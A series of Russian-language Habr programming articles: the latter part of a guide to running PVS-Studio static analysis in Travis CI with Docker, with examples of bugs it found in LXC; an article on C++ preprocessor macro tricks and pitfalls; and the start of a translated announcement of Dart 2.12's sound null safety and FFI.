python3-dev python3-setuptools docbook2x
libgnutls-dev libselinux1-dev linux-libc-dev pvs-studio
libio-socket-ssl-perl libnet-ssleay-perl sendemail
ca-certificates
script:
- ./coccinelle/run-coccinelle.sh -i
- git diff --exit-code
- export CFLAGS="-Wall -Werror"
- export LDFLAGS="-pthread -lpthread"
- ./autogen.sh
- rm -Rf build
- mkdir build
- cd build
- ../configure --enable-tests --with-distro=unknown
- pvs-studio-analyzer credentials $PVS_USERNAME $PVS_KEY -o PVS-Studio.lic
- pvs-studio-analyzer trace -- make -j4
- pvs-studio-analyzer analyze -j2 -l PVS-Studio.lic
-o PVS-Studio-${CC}.log
--disableLicenseExpirationCheck
- plog-converter -t html PVS-Studio-${CC}.log -o PVS-Studio-${CC}.html
- sendemail -t mail@domain.com
-u "PVS-Studio $CC report, commit:$TRAVIS_COMMIT"
-m "PVS-Studio $CC report, commit:$TRAVIS_COMMIT"
-s smtp.gmail.com:587
-xu $MAIL_USER
-xp $MAIL_PASSWORD
-o tls=yes
-f $MAIL_USER
-a PVS-Studio-${CC}.log PVS-Studio-${CC}.html
```
Для запуска статического анализатора в контейнере, предварительно создадим его, используя следующий Dockerfile:
```
FROM docker.io/ubuntu:trusty
ENV CFLAGS="-Wall -Werror"
ENV LDFLAGS="-pthread -lpthread"
RUN apt-get update && apt-get install -y software-properties-common wget \
&& wget -q -O - https://files.viva64.com/etc/pubkey.txt |
sudo apt-key add - \
&& wget -O /etc/apt/sources.list.d/viva64.list
https://files.viva64.com/etc/viva64.list \
&& apt-get update \
&& apt-get install -yqq coccinelle parallel
libapparmor-dev libcap-dev libseccomp-dev
python3-dev python3-setuptools docbook2x
libgnutls-dev libselinux1-dev linux-libc-dev
pvs-studio git libtool autotools-dev automake
pkg-config clang make libio-socket-ssl-perl
libnet-ssleay-perl sendemail ca-certificates \
&& rm -rf /var/lib/apt/lists/*
```
В этом случае конфигурационный файл может выглядеть так:
```
before_install:
- docker pull docker.io/oandreev/lxc
env:
- CC=gcc
- CC=clang
script:
- docker run
--rm
--cap-add SYS_PTRACE
-v $(pwd):/pvs
-w /pvs
docker.io/oandreev/lxc
/bin/bash -c " ./coccinelle/run-coccinelle.sh -i
&& git diff --exit-code
&& ./autogen.sh
&& mkdir build && cd build
&& ../configure CC=$CC
&& pvs-studio-analyzer credentials
$PVS_USERNAME $PVS_KEY -o PVS-Studio.lic
&& pvs-studio-analyzer trace -- make -j4
&& pvs-studio-analyzer analyze -j2
-l PVS-Studio.lic
-o PVS-Studio-$CC.log
--disableLicenseExpirationCheck
&& plog-converter -t html
-o PVS-Studio-$CC.html
PVS-Studio-$CC.log
&& sendemail -t mail@domain.com
-u 'PVS-Studio $CC report, commit:$TRAVIS_COMMIT'
-m 'PVS-Studio $CC report, commit:$TRAVIS_COMMIT'
-s smtp.gmail.com:587
-xu $MAIL_USER -xp $MAIL_PASSWORD
-o tls=yes -f $MAIL_USER
-a PVS-Studio-${CC}.log PVS-Studio-${CC}.html"
```
Как можно увидеть, в данном случае мы ничего не делаем внутри виртуальной машины, и абсолютно все действия по сборке и тестированию проекта происходят внутри контейнера.
**Примечание**: при запуске контейнера необходимо указывать параметр *--cap-add SYS\_PTRACE* либо *--security-opt seccomp:unconfined*, так как для трассировки компиляции используется системный вызов ptrace.
Загружаем конфигурационный файл в корень репозитория и видим, что Travis CI получил уведомление о наличии изменений в проекте и автоматически запустил сборку.
Подробную информацию о ходе сборки и проверке анализатором можно увидеть в консоли.

После окончания тестов мы получим на почту 2 письма: одно – с результатами статического анализа для сборки проекта с использованием gcc, и второе – соответственно, clang.
Коротко про результаты проверки
-------------------------------
В целом проект достаточно чистый, анализатор выдал всего 24 критических и 46 средних предупреждений. Для демонстрации работы рассмотрим пару интересных уведомлений:
### Избыточные условия в if
[V590](https://www.viva64.com/ru/w/v590/) Consider inspecting the 'ret != (- 1) && ret == 1' expression. The expression is excessive or contains a misprint. attach.c 107
```
#define EOF -1
static struct lxc_proc_context_info *lxc_proc_get_context_info(pid_t pid)
{
....
while (getline(&line, &line_bufsz, proc_file) != -1)
{
ret = sscanf(line, "CapBnd: %llx", &info->capability_mask);
if (ret != EOF && ret == 1) // <=
{
found = true;
break;
}
}
....
}
```
Если *ret == 1*, то он точно не равен -1 (EOF). Избыточная проверка, можно убрать *ret != EOF*.
Таких предупреждений было выдано еще два:
* V590 Consider inspecting the 'ret != (- 1) && ret == 1' expression. The expression is excessive or contains a misprint. attach.c 579
* V590 Consider inspecting the 'ret != (- 1) && ret == 1' expression. The expression is excessive or contains a misprint. attach.c 583
### Потеря старших битов
[V784](https://www.viva64.com/ru/w/v784/) The size of the bit mask is less than the size of the first operand. This will cause the loss of higher bits. conf.c 1879
```
struct mount_opt
{
char *name;
int clear;
int flag;
};
static void parse_mntopt(char *opt, unsigned long *flags,
char **data, size_t size)
{
struct mount_opt *mo;
/* If opt is found in mount_opt, set or clear flags.
* Otherwise append it to data. */
for (mo = &mount_opt[0]; mo->name != NULL; mo++)
{
if (strncmp(opt, mo->name, strlen(mo->name)) == 0)
{
if (mo->clear)
{
*flags &= ~mo->flag; // <=
}
else
{
*flags |= mo->flag;
}
return;
}
}
....
}
```
Под Linux'ом *long* — это 64-битная целочисленная переменная, *mo->flag* — 32-битная целочисленная переменная. Использование *mo->flag* в качестве битовой маски приведет к потере 32 старших бит. Выполняется неявное приведение битовой маски к 64-битной целочисленной переменной после побитовой инверсии. Старшие биты этой маски будут нулевыми.
Продемонстрируем на примере:
```
unsigned long long x;
unsigned y;
....
x &= ~y;
```

Правильный вариант кода:
```
*flags &= ~(unsigned long)(mo->flag);
```
Анализатор выдал еще одно подобное предупреждение:
* V784 The size of the bit mask is less than the size of the first operand. This will cause the loss of higher bits. conf.c 1933
### Подозрительный цикл
[V612](https://www.viva64.com/ru/w/v612/) An unconditional 'return' within a loop. conf.c 3477
```
#define lxc_list_for_each(__iterator, __list) \
for (__iterator = (__list)->next; __iterator != __list; \
__iterator = __iterator->next)
static bool verify_start_hooks(struct lxc_conf *conf)
{
char path[PATH_MAX];
struct lxc_list *it;
lxc_list_for_each (it, &conf->hooks[LXCHOOK_START]) {
int ret;
char *hookname = it->elem;
ret = snprintf(path, PATH_MAX, "%s%s",
conf->rootfs.path ? conf->rootfs.mount : "",
hookname);
if (ret < 0 || ret >= PATH_MAX)
return false;
ret = access(path, X_OK);
if (ret < 0) {
SYSERROR("Start hook \"%s\" not found in container",
hookname);
return false;
}
return true; // <=
}
return true;
}
```
Запускают цикл и на первой итерации его прерывают. Возможно, так и задумывалось, но тогда цикл можно опустить.
### Выход за границы массива
[V557](https://www.viva64.com/ru/w/v557/) Array underrun is possible. The value of 'bytes — 1' index could reach -1. network.c 2570
```
static int lxc_create_network_unpriv_exec(const char *lxcpath,
const char *lxcname,
struct lxc_netdev *netdev,
pid_t pid,
unsigned int hooks_version)
{
int bytes;
char buffer[PATH_MAX] = {0};
....
bytes = lxc_read_nointr(pipefd[0], &buffer, PATH_MAX);
if (bytes < 0)
{
SYSERROR("Failed to read from pipe file descriptor");
close(pipefd[0]);
}
else
{
buffer[bytes - 1] = '\0';
}
....
}
```
Из pipe'а читаются байты в буфер. В случае ошибки, функция *lxc\_read\_nointr* вернет отрицательное значение. Если все прошло успешно, то последним элементом записывают нуль-терминал. Однако, если будет прочитано 0 байт, то произойдет выход за границу буфера, что ведет к неопределенному поведению.
Анализатор выдал еще одно подобное предупреждение:
* V557 Array underrun is possible. The value of 'bytes — 1' index could reach -1. network.c 2725
### Переполнение буфера
[V576](https://www.viva64.com/ru/w/v576/) Incorrect format. Consider checking the third actual argument of the 'sscanf' function. It's dangerous to use string specifier without width specification. Buffer overflow is possible. lxc\_unshare.c 205
```
static bool lookup_user(const char *oparg, uid_t *uid)
{
char name[PATH_MAX];
....
if (sscanf(oparg, "%u", uid) < 1)
{
/* not a uid -- perhaps a username */
if (sscanf(oparg, "%s", name) < 1) // <=
{
free(buf);
return false;
}
....
}
....
}
```
Использование *sscanf* в данном случае может являться опасным, поскольку если длина буфера *oparq* окажется больше длины буфера *name*, произойдет выход за границу при формировании буфера *name*.
Заключение
----------
Как мы увидели, настроить проверку статическим анализатором кода нашего проекта в облаке – достаточно простая задача. Для этого необходимо всего лишь добавить один файл в репозиторий и потратить минимальное время на настройку CI-системы. В результате же мы получим инструмент, позволяющий выявлять проблемный код на этапе написания, и не позволяющий ошибкам попадать на следующие этапы тестирования, где их исправление займет больше времени и ресурсов.
Конечно, использование PVS-Studio совместно с облачными платформами не ограничивается только Travis CI. По аналогии с описанным в статье способом, с минимальными отличиями, анализ PVS-Studio можно интегрировать и с другими популярными облачными CI решениями, такими, как CircleCI, GitLab и т.п.
Полезные ссылки
---------------
* Дополнительную информацию про запуск PVS-Studio в Linux и MacOS можно получить [здесь](https://www.viva64.com/ru/m/0036/).
* Про создание, настройку и использование контейнеров с установленным статическим анализатором PVS-Studio можно почитать [здесь](https://www.viva64.com/ru/m/0047/).
* [Документация TravisCI](https://docs.travis-ci.com/).
[](https://habr.com/en/company/pvs-studio/blog/458064/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Oleg Andreev. [PVS-Studio in the Clouds -Running the Analysis on Travis CI](https://habr.com/en/company/pvs-studio/blog/458064/) | https://habr.com/ru/post/458072/ | null | ru | null |
# Грязные трюки с макросами C++
В этой статье я хочу сделать две вещи: рассказать, почему макросы — зло и как с этим бороться, а так же продемонстрировать пару используемых мной макросов C++, которые упрощают работу с кодом и улучшают его читаемость. Трюки, на самом деле, не такие уж и грязные:
* Безопасный вызов метода
* Неиспользуемые переменные
* Превращение в строку
* Запятая в аргументе макроса
* Бесконечный цикл
Заранее предупреждаю: если Вы думаете увидеть под катом что-то крутое, головоломное и сногсшибательное, то ничего такого в статье нет. Статья про светлую сторону макросов.
Несколько полезных ссылок
-------------------------
Для начинающих: статья (на английском) [Anders Lindgren — Tips and tricks using the preprocessor (part one)](http://www.iar.com/Global/Resources/Developers_Toolbox/C_Cplusplus_Programming/Tips%20and%20tricks%20using%20the%20preprocessor%20%28part%20one%29.pdf), покрывает самые основы макросов.
Для продвинутых: статья (на английском) [Anders Lindgren — Tips and tricks using the preprocessor (part two)](http://www.iar.com/Global/Resources/Developers_Toolbox/C_Cplusplus_Programming/Tips%20and%20tricks%20using%20the%20preprocessor%20%28part%20two%29.pdf), покрывает более серьезные темы. Кое-что будет и в этой статье, но не все, и с меньшим количеством объяснений.
Для профессионалов: статья (на английском) [Aditya Kumar, Andrew Sutton, Bjarne Stroustrup — Rejuvenating C++ Programs through Demacrofication](http://www.stroustrup.com/icsm-2012-demacro.pdf), описывает возможности по замене макросов на фичи C++11.
Небольшое культурное различие
-----------------------------
Согласно [Википедии](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BE%D1%80_%D0%A1%D0%B8#.D0.9A.D0.BE.D0.BD.D1.81.D1.82.D0.B0.D0.BD.D1.82.D1.8B_.D0.B8_.D0.BC.D0.B0.D0.BA.D1.80.D0.BE.D1.81.D1.8B_.23define) и моим собственным ощущениям, в русском языке мы обычно понимаем под словом «макрос» вот это:
```
#define FUNC(x, y) ((x)^(y))
```
А следующее:
```
#define VALUE 1
```
у нас называется «константой препроцессора» (или попросту «дефайн»'ом). В английском языке немного не так: первое называется function-like macro, а второе — object-like macro (опять же, приведу ссылку на [Википедию](https://en.wikipedia.org/wiki/C_preprocessor#Macro_definition_and_expansion)). То есть, когда они говорят о макросах, они могут иметь в виду как одно, так и другое, так и все вместе. Будьте внимательны при чтении английских текстов.
Что такое хорошо и что такое плохо
----------------------------------
В последнее время популярно мнение, что **макросы — зло**. Мнение это не беспочвенно, но, на мой взгляд, нуждается в пояснениях. [В одном из ответов](http://stackoverflow.com/a/14041847) на вопрос [Why are preprocessor macros evil and what are the alternatives?](http://stackoverflow.com/questions/14041453/why-are-preprocessor-macros-evil-and-what-are-the-alternatives) я нашел довольно полный список причин, заставляющих нас считать макросы злом и некоторые способы от них избавиться. Ниже я приведу этот же список на русском, но примеры и решения проблем будут не совсем такими, как по указанной ссылке.
1. **Макросы нельзя отлаживать**Во-первых, на самом деле, можно:
> [Go to either project or source file properties by right-clicking and going to «Properties». Under Configuration Properties->C/C++->Preprocessor, set «Generate Preprocessed File» to either with or without line numbers, whichever you prefer. This will show what your macro expands to in context. If you need to debug it on live compiled code, just cut and paste that, and put it in place of your macro while debugging.](http://stackoverflow.com/a/1391012)
Так что, правильнее будет сказать, что «макросы сложно отлаживать». Но, тем не менее, проблема с отладкой макросов существует.
Чтобы определить, нуждается ли используемый Вами макрос в отладке, подумайте, есть ли в нем то, ради чего стоит захотеть запихнуть туда точку останова. Это может быть изменение значений, полученных через параметры, объявление переменных, изменение объектов или данных снаружи и тому подобное.Решения проблемы:
* полностью избавиться от макросов, заменив их на функции (можно inline, если это важно),
* логику макросов перенести в функции, а сами макросы сделать ответственными только за передачу данных в эти функции,
* использовать только макросы, которые не требуют отладки.
2. **При разворачивании макроса могут появиться странные побочные эффекты**Чтобы показать, о каких побочных эффектах идет речь, обычно приводят пример с арифметическими операциями. Я тоже не стану отступать от этой традиции:
```
#include
#define SUM(a, b) a + b
int main()
{
// Что будет в x?
int x = SUM(2, 2);
std::cout << x << std::endl;
x = 3 \* SUM(2, 2);
std::cout << x << std::endl;
return 0;
}
```
В выводе ожидаем 4 и 12, а получаем 4 и 8. Дело в том, что макрос просто подставляет код туда, куда указано. И в данном случае код будет выглядеть так:
```
int x = 3 * 2 + 2;
```
Это и есть побочный эффект. Чтобы все заработало, как ожидается, нужно изменить наш макрос:
```
#include
#define SUM(a, b) (a + b)
int main()
{
// Что будет в x?
int x = SUM(2, 2);
std::cout << x << std::endl;
x = 3 \* SUM(2, 2);
std::cout << x << std::endl;
return 0;
}
```
Теперь верно. Но это еще не все. Перейдем к умножению:
```
#define MULT(a, b) a * b
```
Сразу же запишем его «правильно», но используем чуть иначе:
```
#include
#define MULT(a, b) (a \* b)
int main()
{
// Что будет в x?
int x = MULT(2, 2);
std::cout << x << std::endl;
x = MULT(3, 2 + 2);
std::cout << x << std::endl;
return 0;
}
```
Дежавю: снова получаем 4 и 8. В данном случае развернутый макрос будет выглядеть как:
```
int x = (3 * 2 + 2);
```
То есть, теперь нам нужно написать:
```
#define MULT(a, b) ((a) * (b))
```
Используем эту версию макроса и вуаля:
```
#include
#define MULT(a, b) ((a) \* (b))
int main()
{
// Что будет в x?
int x = MULT(2, 2);
std::cout << x << std::endl;
x = MULT(3, 2 + 2);
std::cout << x << std::endl;
return 0;
}
```
Теперь все правильно.
Если абстрагироваться от арифметических операций, то, в общем случае, при написании макросов нам нужны
* скобки вокруг всего выражения
* скобки вокруг каждого из параметров макросаТо есть, вместо
```
#define CHOOSE(ifC, chooseA, otherwiseB) ifC ? chooseA : otherwiseB
```
должно быть
```
#define CHOOSE(ifC, chooseA, otherwiseB) ((ifC) ? (chooseA) : (otherwiseB))
```
Эта проблема усугубляется тем, что далеко не все типы параметров можно обернуть в скобки (реальный пример будет дальше в статье). Из-за этого сделать качественные макросы бывает довольно сложно.
Кроме того, как напомнил [encyclopedist](https://habrahabr.ru/users/encyclopedist/) в комментариях, бывают случаи, когда и скобки не спасают:
> В пункте про побочные эффекты вы ещё забыли упомянуть частую проблему — макросы могут вычислять свои аргументы несколько раз. В худшем случае это приводит к странным побочным эффектам, в более легком — к проблемам производительности.
>
> Пример
>
>
>
>
> ```
> #define SQR(x) ((x) * (x))
>
> y = SQR(x++);
>
> ```
>
Решения проблемы:
* отказаться от макросов в пользу функций,
* использовать макросы с понятным именем, простой реализацией и грамотно расставленными скобками, чтобы программист, использующий такой макрос легко понял, как правильно его использовать.
3. **Макросы не имеют пространства имен**Если объявлен какой-либо макрос, он не только глобален, но еще и попросту не даст воспользоваться чем-либо с таким же именем (всегда будет подставлена реализация макроса). Самым, наверное, известным примером является [проблема с min и max под Windows](http://easy-coding.blogspot.ru/2009/02/stdmin-stdmax-visual-studio.html).Решение проблемы — выбирать имена для макросов, которые с низкой вероятностью пересекутся с чем либо, например:
* имена в UPPERCASE, обычно они могут пересечься только с другими именами макросов,
* имена с префиксом (имя Вашего проекта, namespace, еще что-то уникальное), пересечение с другими именами будет возможно с очень небольшой вероятностью, но использовать такие макросы за пределами Вашего проекта людям будет немного сложнее.
4. **Макросы могут делать что-то, о чем Вы не подозреваете**На самом деле, это проблема выбора имени для макроса. Скажем, возьмем тот же пример, который приведен в ответе по ссылке:
```
#define begin() x = 0
#define end() x = 17
... a few thousand lines of stuff here ...
void dostuff()
{
int x = 7;
begin();
... more code using x ...
printf("x=%d\n", x);
end();
}
```
Здесь налицо неверно выбранные имена, которые и вводят в заблуждение. Если бы макросы были названы set0toX() и set17toX() или как-то похоже, проблемы удалось бы избежать.Решения проблемы:
* грамотно именовать макросы,
* заменить макросы на функции,
* не использовать макросы, которые неявно что-либо изменяют.
После всего вышеперечисленного можно дать определение «хорошим» макросам. Хорошие макросы — это макросы, которые
* не требуют отладки (внутри попросту незачем ставить точку останова)
* не имеют побочных эффектов при разворачивании (все обернуто скобочками)
* не конфликтуют с именами где-либо (выбран такой вид имен, которые с небольшой долей вероятности будут использованы кем-либо еще)
* ничего не изменяют неявно (имя точно отражает, что делает макрос, а вся работа с окружающим кодом, по возможности, ведется только через параметры и «возвращаемое значение»)
Безопасный вызов метода
-----------------------
**Старая версия, не прошедшая испытания Хабром**
```
#define prefix_safeCall(value, object, method) ((object) ? ((object)->method) : (value))
#define prefix_safeCallVoid(object, method) ((object) ? ((void)((object)->method)) : ((void)(0)))
```
**На самом деле, я использовал вот такую версию**
```
#define prefix_safeCall(defaultValue, objectPointer, methodWithArguments) ((objectPointer) ? ((objectPointer)->methodWithArguments) : (defaultValue))
#define prefix_safeCallVoid(objectPointer, methodWithArguments) ((objectPointer) ? static_cast((objectPointer)->methodWithArguments) : static\_cast(0))
```
Но Хабр — это не IDE, поэтому настолько длинные строки выглядят некрасиво (по крайней мере, на моем мониторе), и я сократил их до удобочитаемого вида.
[tenzink](https://habrahabr.ru/users/tenzink/) в комментариях **указал на проблему с этими макросами**, которую я благополучно не учел при написании статьи:
```
prefix_safeCallVoid(getObject(), method());
```
При таком вызове getObject вызовется дважды.
К сожалению, как показала статья, далеко не каждый программист об этом догадается, поэтому считать эти макросы хорошими я больше не могу. :-(
Тем не менее, похожие макросы (несколько иначе реализованные) я встречал в реальном продакшн коде, они использовались командой программистов, в том числе и мной. Каких либо проблем из-за них на моей памяти не возникало
Новая версия, появившаяся благодаря
[lemelisk](https://habrahabr.ru/users/lemelisk/) и C++14:
```
#define prefix_safeCall(defaultValue, objectPointer, methodWithArguments)\
[&](auto&& ptr) -> decltype(auto)\
{\
return ptr ? (ptr->methodWithArguments) : (defaultValue);\
}\
(objectPointer)
#define prefix_safeCallVoid(objectPointer, methodWithArguments)\
[&](auto&& ptr)\
{\
if(ptr)\
(ptr->methodWithArguments); \
}\
(objectPointer)
```
**Версия для C++11**
```
#define prefix_safeCallBaseExpression(defaultValue, objectPointer, methodWithArguments)\
((ptr) ? ((ptr)->methodWithArguments) : (defaultValue))
#define prefix_safeCall(defaultValue, objectPointer, methodWithArguments)\
[&](decltype((objectPointer))&& ptr)\
-> decltype(prefix_safeCallBaseExpression(defaultValue, ptr, methodWithArguments))\
{\
return prefix_safeCallBaseExpression(defaultValue, ptr, methodWithArguments);\
}\
(objectPointer)
#define prefix_safeCallVoid(objectPointer, methodWithArguments)\
[&](decltype((objectPointer))&& ptr)\
{\
if (ptr)\
(ptr->methodWithArguments);\
}\
(objectPointer)
```
Обратите внимание на параметр methodWithArguments. Это тот самый пример параметра, который нельзя обернуть скобками. Это значит, что кроме вызова метода в параметр можно запихнуть и что-нибудь еще. Тем не менее, случайно это устроить довольно проблематично, поэтому я не считаю эти макросы «плохими».
Кроме этого, теперь у нас добавился overhead на вызов лямбды. Теоретически, можно предположить, что лямбда, вызываемая там же, где она определена, будет заинлайнена. Но подтверждения этому в сети я не нашел, так что лучше всего будет проверить это «вручную» для Вашего компилятора.
Как эти два макроса используются, думаю, понятно. Если имеем код:
```
auto somePointer = ...;
if(somePointer)
somePoiter->callSomeMethod();
```
то с помощью макроса safeCallVoid он превращается в:
```
auto somePointer = ...;
prefix_safeCallVoid(somePointer, callSomeMethod());
```
и, аналогично, для случая с возвращаемым значением:
```
auto somePointer = ...;
auto x = prefix_safeCall(0, somePointer, callSomeMethod());
```
**Для чего?** В первую очередь, эти макросы позволяют увеличить читаемость кода, уменьшить вложенность. Наибольший положительный эффект дают в совокупности с небольшими методами (то есть, если следовать принципам рефакторинга).
Неиспользуемые переменные
-------------------------
```
#define prefix_unused(variable) ((void)variable)
```
**На самом деле, используемый мной вариант тоже отличается**
```
#define prefix_unused1(variable1) static_cast(variable1)
#define prefix\_unused2(variable1, variable2) static\_cast(variable1), static\_cast(variable2)
#define prefix\_unused3(variable1, variable2, variable3) static\_cast(variable1), static\_cast(variable2), static\_cast(variable3)
#define prefix\_unused4(variable1, variable2, variable3, variable4) static\_cast(variable1), static\_cast(variable2), static\_cast(variable3), static\_cast(variable4)
#define prefix\_unused5(variable1, variable2, variable3, variable4, variable5) static\_cast(variable1), static\_cast(variable2), static\_cast(variable3), static\_cast(variable4), static\_cast(variable5)
```
Обратите внимание, что, начиная с двух параметров, данный макрос теоретически может обладать побочными эффектами. Для пущей надежности можно воспользоваться классикой:
```
#define unused2(variable1, variable2) do {static_cast(variable1); static\_cast(variable2);} while(false)
```
Но, в таком виде он сложнее читаем, из-за чего я использую менее «безопасный» вариант.
Подобный макрос есть, например, в cocos2d-x, там он называется CC\_UNUSED\_PARAM. Из недостатков: теоретически, он может работать не на всех компиляторах. Тем не менее, в cocos2d-x он для всех платформ определен абсолютно одинаково.
Использование:
```
int main()
{
int a = 0; // неиспользуемая переменная.
prefix_unused(a);
return 0;
}
```
**Для чего?** Этот макрос позволяет избежать предупреждения о неиспользуемой переменной, а читающему код он как бы говорит: «тот кто писал это — знал, что переменная не используется, все в порядке».
Превращение в строку
--------------------
```
#define prefix_stringify(something) std::string(#something)
```
Да, вот так вот сурово, сразу в std::string. Плюсы и минусы использования строкового класса оставим за рамками разговора, поговорим только о макросе.
Использовать его можно так:
```
std::cout << prefix_stringify("string\n") << std::endl;
```
И еще так:
```
std::cout << prefix_stringify(std::cout << prefix_stringify("string\n") << std::endl;) << std::endl;
```
И даже так:
```
std::cout << prefix_stringify(#define prefix_stringify(something) std::string(#something)
std::cout << prefix_stringify("string\n") << std::endl;) << std::endl;
```
Однако, в последнем примере перенос строки будет заменен на пробел. Для реального переноса нужно использовать '\n':
```
std::cout << prefix_stringify(#define prefix_stringify(something) std::string(#something)\nstd::cout << prefix_stringify("string\n") << std::endl;) << std::endl;
```
Также, можно использовать и другие символы, например '\' для конкатенации строк, '\t' и прочие.
**Для чего?** Может использоваться для упрощения вывода отладочной информации или, например, для создания фабрики объектов с текстовыми id (в этом случае, такой макрос может использоваться при регистрации класса в фабрике для превращения имени класса в строку).
Запятая в параметре макроса
---------------------------
```
#define prefix_singleArgument(...) __VA_ARGS__
```
[Идея подсмотрена здесь](http://stackoverflow.com/a/13842612).
Пример оттуда же:
```
#define FOO(type, name) type name
FOO(prefix_singleArgument(std::map), map\_var);
```
**Для чего?** Используется при необходимости передать в другой макрос аргумент, содержащий запятые, как один аргумент и невозможности использовать для этого скобки.
Бесконечный цикл
----------------
```
#define forever() for(;;)
```
**Версия от Джоэла Спольски**[```
#define ever (;;)
for ever {
...
}
```](http://stackoverflow.com/a/652802)P.S. Если кто-нибудь, перейдя по ссылке, не догадался прочитать название вопроса, то звучит оно примерно как «какое худшее реальное злоупотребление макросами Вам встречалось?» ;-)
Использование:
```
int main()
{
bool keyPressed = false;
forever()
{
...
if(keyPressed)
break;
}
return 0;
}
```
**Для чего?** Когда while(true), while(1), for(;;) и прочие стандартные пути создания цикла кажутся не слишком информативными, можно использовать подобный макрос. Едиственный плюс который он дает — чуть лучшую читаемость кода.
Заключение
----------
При правильном использовании макросы вовсе не являются чем-то плохим. Главное, не злоупотреблять ими и следовать нехитрым правилам по созданию «хороших» макросов. И тогда они станут Вашими лучшими помощниками.
**Upd**. Вернул в статью «Безопасный вызов метода», спасибо
[lemelisk](https://habrahabr.ru/users/lemelisk/) за подсказку с лямбдами.
P.S.
А какие интересные макросы используете Вы в своих проектах? Не стесняйтесь поделиться в комментариях. | https://habr.com/ru/post/246971/ | null | ru | null |
# Dart 2.12: Sound null safety и Dart FFI отправлены на стабильный канал
*Представляем вам перевод статьи, анонсирующей выход Dart 2.12. Да, знаем, что сильно опоздали с публикацией: оригинал вышел 3 марта. Тем не менее, Dart 2.12 — важный релиз, и мы решили опубликовать материал.*
Вышел Dart 2.12. В нём — стабильные версии [sound null safety](https://dart.dev/null-safety) и [Dart FFI](https://dart.dev/guides/libraries/c-interop).
Null safety – наша самая свежая масштабная фича. Её цель – повысить производительность: помочь вам избежать null error. Проблемы, вызванные этой ошибкой, зачастую тяжело заметить в коде. Об этом мы подробно рассказали [во вводном видео](https://www.youtube.com/watch?v=iYhOU9AuaFs&feature=emb_logo).
FFI – это механизм взаимодействия, позволяющий вызывать уже имеющийся код на языке C. Например, обращаться к Windows [Win32 API](https://pub.dev/packages/win32). Доступ к Dart 2.12 уже открыт.
Уникальные функциональные возможности платформы, на которой работает Dart
-------------------------------------------------------------------------
Прежде чем подробнее поговорить о sound null safety и FFI, предлагаю обсудить, как они связаны с нашими планами развития платформы под Dart. Как правило у языков программирования много похожих возможностей. К примеру, многие языки поддерживают объектно ориентированное программирование или работу в web. Настоящие различия между языками заключаются в их уникальных комбинациях функциональных возможностей.

| |
| --- |
| **Уникальная** комбинация функциональных возможностей для создания приложений |
| **Переносимость**Нативная производительность: Компиляция в машинный код или оптимизированный JSРазвитые, консистентные мультиплатформенные библиотеки | **Продуктивность**Быстрый hot reload для поэтапной разработкиМногопоточность и изоляты | **Надёжность**Надёжная null-safe система с динамической идентификацией типовМасштабируемость и надёжность уровня Google |
Уникальные функциональные возможности Dart можно распределить по трём направлениям:
* **Переносимость**. Продуктивные компиляторы генерируют машинный код x86 и ARM для устройств и оптимизированный JavaScript код для web. Dart поддерживает [целый ряд целевых платформ](https://dart.dev/overview#platform): мобильные приложения, ПК, серверную часть приложений и многое другое. Богатый выбор библиотек и пакетов обеспечивает консистентность API, работающих на всех платформах: создавать мультиплатформенные приложения становится ещё дешевле.
* **Продуктивность**. Платформа для Dart поддерживает hot reload, благодаря чему процесс разработки становится быстрым и итеративным. Кроме того, в Dart есть такие многофункциональные структурные элементы, как изоляты и async/await для работы с распространенными многопоточными и событийно-ориентированными паттернами в приложениях.
* **Надёжность**. Надёжная null-safe система типов в Dart находит ошибки прямо в процессе разработки. Платформа в целом очень надёжна, хорошо масштабируется. Более десяти лет она используется в продакшн множеством приложений, включая, к примеру, Google Ads и Google Assistant, бесперебойная работа которых имеет критическое значение для бизнеса.
Sound null safety делает систему типов ещё надежнее и помогает повысить производительность. Благодаря Dart FFI можно использовать уже существующие библиотеки C. Это улучшает переносимость и позволяет интегрировать хорошо отлаженный код на C в задачах, для которых критически важна производительность.
Sound null safety
-----------------
Sound null safety – самое масштабное дополнение к языку Dart с тех пор, как в [Dart 2.0](https://medium.com/dartlang/announcing-dart-2-80ba01f43b6) появилась надежная система типов. Null safety делает систему типов ещё надёжнее. Она позволяет обнаруживать ошибки типа null error ещё в процессе разработки, а значит, вы избежите крашей, когда приложение выйдет в продакшн. Sound null safety базируется на [нескольких ключевых принципах](https://dart.dev/null-safety#null-safety-principles).
Non-nullable по умолчанию: фундаментальное изменение системы типов
------------------------------------------------------------------
До появления null safety основная проблема была в том, что тяжело заметить разницу между кодом, который ожидает значение null, и кодом, который не обрабатывает null.
Несколько месяцев назад мы обнаружили баг в основном канале Flutter. При определённых конфигурациях машины различные команды инструментов Flutter крашились и выдавали null error: `The method '>=' was called on null`. Причиной стал вот такой код:
```
final int major = version?.major;
final int minor = version?.minor;
if (globals.platform.isMacOS) {
// plugin path of Android Studio changed after version 4.1.
if (major >= 4 && minor >= 1) {
...
```
final int major = version?.major; final int minor = version?.minor; if (globals.platform.isMacOS) { // plugin path of Android Studio changed after version 4.1. if (major >= 4 && minor >= 1) { ...Видите ошибку? Так как у `version` может быть значение null, оно может быть и у `major` , и у `minor`. Когда этот баг вырван из контекста, кажется, что его легко заметить, но на практике такие ошибки всё время остаются незамеченными, даже если код проверяют очень тщательно, как в репозитории Flutter. С приходом null safety такие ошибки тут же всплывают в результатах статического анализа. [Попробуйте, как это работает в DartPad](https://dartpad.dev/0e9797be7488d8ec6c3fca92b7f2740f?null_safety=true).
Скриншот с результатом анализа в IDEИ это довольно простая ошибка. Когда мы ещё только начинали использовать null safety в коде Google, нам встречались куда более запутанные ошибки. О некоторых багах было уже годами известно, но наши команды не могли найти их причину без помощи дополнительных статических проверок от null safety. Вот несколько примеров:
* В одной команде обнаружили, что часто проверяют на значения null те выражения, в которых в принципе не может быть null. Чаще всего с этой проблемой сталкивались в коде, использующем [protobuf](https://developers.google.com/protocol-buffers), где необязательные поля возвращают значение по умолчанию, если оно не задано, и не могут вернуть null. В результате код неправильно проверял условия по умолчанию: путал значение по умолчанию и значение null.
* Члены команды Google Pay нашли баги в своём коде во Flutter, когда не смогли получить доступ к объектам Flutter `State` вне контекста `Widget.` До null safety такие объекты возвращали null и маскировали ошибку; с null safety глубокий анализ показал, что null не может быть значением в этом случае, и диагностировал ошибку ещё до этапа компиляции.
